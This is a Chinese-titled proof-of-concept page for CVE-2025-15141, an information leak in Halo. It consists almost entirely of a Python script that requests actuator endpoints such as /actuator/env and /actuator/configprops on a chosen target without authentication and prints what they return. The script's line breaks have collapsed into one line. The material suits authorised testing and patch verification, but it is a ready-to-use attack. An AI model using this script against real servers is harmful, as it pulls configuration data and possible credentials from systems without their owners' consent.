CVE-2025-15141 Halo配置处理器信息泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-15141 PoC - Halo Actuator Information Disclosure This PoC demonstrates the information disclosure vulnerability in Halo's /actuator endpoint. Note: This code is for educational and authorized testing purposes only. """ import requests import sys import json TARGET_HOST = "http://target-server.com" # Replace with target URL ACTUATOR_ENDPOINTS = [ "/actuator/env", "/actuator/configprops", "/actuator/beans", "/actuator/health", "/actuator/info" ] def check_actuator_vulnerability(target): """ Check if the target is vulnerable to Actuator information disclosure. """ print(f"[*] Testing target: {target}") print("=" * 60) vulnerable = False for endpoint in ACTUATOR_ENDPOINTS: url = f"{target}{endpoint}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"\n[!] Found accessible endpoint: {endpoint}") print(f"[!] Status Code: {response.status_code}") try: data = response.json() print(f"[+] Response Preview:\n{json.dumps(data, indent=2)[:500]}...") vulnerable = True except: print(f"[+] Response (text): {response.text[:500]}") vulnerable = True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("\n" + "=" * 60) if vulnerable: print("[!] Target appears to be VULNERABLE to CVE-2025-15141") print("[!] Actuator endpoints are accessible without authentication") else: print("[-] Target does not appear to be vulnerable") return vulnerable if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] check_actuator_vulnerability(TARGET_HOST)